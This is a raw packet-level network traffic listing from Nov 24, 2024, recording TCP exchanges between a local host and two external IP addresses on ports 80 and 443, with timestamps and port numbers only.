Nov 24, 2024 04:20:47.207043886 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.207206011 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.207305908 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.207359076 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.208034992 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.208153963 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.208194017 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.208278894 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.208830118 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.208934069 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.209065914 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.209644079 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.209743023 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.210139990 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.210454941 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.210537910 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.210572958 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.211298943 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.211424112 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.211457968 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.211529016 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.212109089 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.212218046 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.212343931 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.212960958 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.213103056 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.213206053 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.213740110 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.213824987 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.214139938 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.214556932 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.214714050 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.214731932 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.214817047 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.215368986 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.215493917 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.215539932 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.216197014 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.216420889 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.216439962 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.217017889 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.217122078 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.217158079 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.217416048 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.217817068 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.217931986 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.218065023 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.218632936 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.218745947 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.218784094 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.219480038 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.219588995 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.219625950 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.219692945 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.220308065 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.220381975 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.220518112 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.287899971 CET	443	49876	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:47.287980080 CET	443	49876	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:47.288216114 CET	49876	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:47.288275957 CET	49876	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:47.288275957 CET	49876	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:47.288304090 CET	443	49876	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:47.288326025 CET	443	49876	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:47.290740967 CET	49897	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:47.290791988 CET	443	49897	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:47.290900946 CET	49897	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:47.296417952 CET	49897	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:47.296437025 CET	443	49897	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:47.328882933 CET	443	49877	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:47.328953028 CET	443	49877	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:47.329169035 CET	49877	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:47.329603910 CET	49877	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:47.329628944 CET	443	49877	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:47.329668045 CET	49877	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:47.329674959 CET	443	49877	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:47.332184076 CET	49898	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:47.332226038 CET	443	49898	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:47.332354069 CET	49898	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:47.332833052 CET	49898	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:47.332845926 CET	443	49898	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:47.387618065 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.387707949 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.387855053 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.388010025 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.388150930 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.388176918 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.388859034 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.388987064 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.389012098 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.389403105 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.389799118 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.389879942 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.389903069 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.390142918 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.390477896 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.390610933 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.390733004 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.391302109 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.391418934 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.391683102 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.392136097 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.392246008 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.392276049 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.392469883 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.392946959 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.393055916 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.393083096 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.393754959 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.393871069 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.393901110 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.393978119 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.394584894 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.394638062 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.394669056 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.395404100 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.395437002 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.395493984 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.395524025 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.395859957 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.396220922 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.396338940 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.396368980 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.397017002 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.397130013 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.397140980 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.397875071 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.397989035 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.398020983 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.398293018 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.398660898 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.398782015 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.398984909 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.399486065 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.399600029 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.399607897 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.399676085 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.400331020 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.400413990 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.400466919 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.400589943 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.401127100 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.401256084 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.401575089 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.401935101 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.402046919 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.402076006 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.402749062 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.402869940 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.402889013 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.403569937 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.403683901 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.403687954 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.403760910 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.404377937 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.404407978 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.404437065 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.404675007 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.405215025 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.405340910 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.405366898 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.406029940 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.406152010 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.406152964 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.406238079 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.406910896 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.406968117 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.407073975 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.407788038 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.407838106 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.407866955 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.408483028 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.408514023 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.408565044 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.408588886 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.408832073 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.409295082 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.409414053 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.409580946 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.410147905 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.410260916 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.410262108 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.410378933 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.410939932 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.411025047 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.411060095 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.411169052 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.411782026 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.411876917 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.412286043 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.412575960 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.412703037 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.412730932 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.413392067 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.413507938 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.413516045 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.414200068 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.414311886 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.414343119 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.414427996 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.415030956 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.415143967 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.415476084 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.415853024 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.415910959 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.415967941 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.416662931 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.416749954 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.416780949 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.416838884 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.417489052 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.417603016 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.417680025 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.418322086 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.418427944 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.418457031 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.419126034 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.419225931 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.419255972 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.419545889 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.419939995 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.420049906 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.420078039 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.420336962 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.420774937 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.420881987 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.420945883 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.421590090 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.421678066 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.421703100 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.421768904 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.422383070 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.422497988 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.422739983 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.423213005 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.423330069 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.423610926 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.424052000 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.424151897 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.424166918 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.424235106 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.424858093 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.424964905 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.425198078 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.425687075 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.425781965 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.425785065 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.426000118 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.426493883 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.426572084 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.426601887 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.427320957 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.427429914 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.427459955 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.427683115 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.428152084 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.428292990 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.428325891 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.428601980 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.428947926 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.429064035 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.429101944 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.429173946 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.429773092 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.429868937 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.429883957 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.429994106 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.430581093 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.430773973 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.430805922 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.431415081 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.431523085 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.431552887 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.431894064 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.432259083 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.432379007 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.432410002 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.432441950 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.433023930 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.436513901 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.443705082 CET	443	49878	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:47.443772078 CET	443	49878	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:47.444518089 CET	49878	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:47.444519043 CET	49878	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:47.444614887 CET	49878	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:47.444653988 CET	443	49878	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:47.448416948 CET	49899	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:47.448443890 CET	443	49899	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:47.451332092 CET	49899	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:47.452410936 CET	49899	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:47.452425957 CET	443	49899	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:47.598968983 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.599065065 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.599140882 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.599364042 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.599422932 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.599450111 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.599565029 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.600182056 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.600290060 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.600508928 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.601036072 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.601094007 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.601123095 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.601258039 CET	443	49879	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:47.601329088 CET	443	49879	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:47.601356983 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.601567030 CET	49879	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:47.601615906 CET	49879	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:47.601615906 CET	49879	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:47.601623058 CET	443	49879	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:47.601629972 CET	443	49879	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:47.601803064 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.601955891 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.602054119 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.602647066 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.602718115 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.602751017 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.602804899 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.603476048 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.603571892 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.603579044 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.603661060 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.604336023 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.604424000 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.604456902 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.604592085 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.605055094 CET	49900	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:47.605087042 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.605091095 CET	443	49900	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:47.605170012 CET	49900	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:47.605170012 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.605199099 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.605364084 CET	49900	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:47.605380058 CET	443	49900	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:47.605392933 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.605901003 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.605952024 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.605988026 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.606040001 CET	49835	80	192.168.2.6	185.215.113.206
